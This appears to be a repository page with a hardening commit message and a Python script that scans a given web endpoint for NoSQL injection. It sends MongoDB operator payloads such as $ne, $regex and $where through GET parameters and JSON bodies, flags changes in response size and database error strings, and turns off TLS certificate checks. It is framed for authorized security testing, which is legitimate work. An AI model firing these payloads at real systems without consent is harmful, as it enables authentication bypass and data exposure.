Files
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

137 lines
4.6 KiB
Python

#!/usr/bin/env python3
"""Agent for testing NoSQL injection vulnerabilities in web applications."""
import argparse
import json
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
NOSQL_PAYLOADS_GET = [
("[$ne]", ""),
("[$gt]", ""),
("[$regex]", ".*"),
("[$exists]", "true"),
("[$nin][]", "impossible"),
]
NOSQL_PAYLOADS_JSON = [
{"$ne": ""},
{"$gt": ""},
{"$regex": ".*"},
{"$exists": True},
{"$where": "1==1"},
{"$or": [{"a": 1}, {"b": 1}]},
]
ERROR_INDICATORS = [
"mongoerror", "bson", "objectid", "cast to objectid",
"json parse error", "syntaxerror", "unexpected token",
"cannot read property", "mongodb",
]
def test_get_injection(url, param, token=None):
"""Test NoSQL injection via GET parameter manipulation."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
baseline_len = len(baseline.text)
except requests.RequestException:
return findings
for suffix, value in NOSQL_PAYLOADS_GET:
try:
test_url = f"{url}?{param}{suffix}={value}"
resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
indicators = []
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
for err in ERROR_INDICATORS:
if err in resp.text.lower():
indicators.append(f"Error indicator: {err}")
if indicators:
findings.append({
"param": param, "payload": f"{param}{suffix}={value}",
"method": "GET", "indicators": indicators,
})
except requests.RequestException:
continue
return findings
def test_json_injection(url, field, token=None):
"""Test NoSQL injection via JSON body."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
headers["Content-Type"] = "application/json"
try:
baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
baseline_len = len(baseline.text)
except requests.RequestException:
return findings
for payload in NOSQL_PAYLOADS_JSON:
try:
resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
indicators = []
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
for err in ERROR_INDICATORS:
if err in resp.text.lower():
indicators.append(f"Error indicator: {err}")
if indicators:
findings.append({
"field": field, "payload": str(payload),
"method": "POST", "indicators": indicators,
})
except requests.RequestException:
continue
return findings
def main():
parser = argparse.ArgumentParser(
description="Test NoSQL injection vulnerabilities (authorized testing only)"
)
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--param", help="GET parameter to test")
parser.add_argument("--field", help="JSON field to test")
parser.add_argument("--token", help="Bearer token")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] NoSQL Injection Testing Agent")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}
if args.param:
findings = test_get_injection(args.url, args.param, args.token)
report["findings"].extend(findings)
if args.field:
findings = test_json_injection(args.url, args.field, args.token)
report["findings"].extend(findings)
report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
print(f"[*] NoSQL injection findings: {len(report['findings'])}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()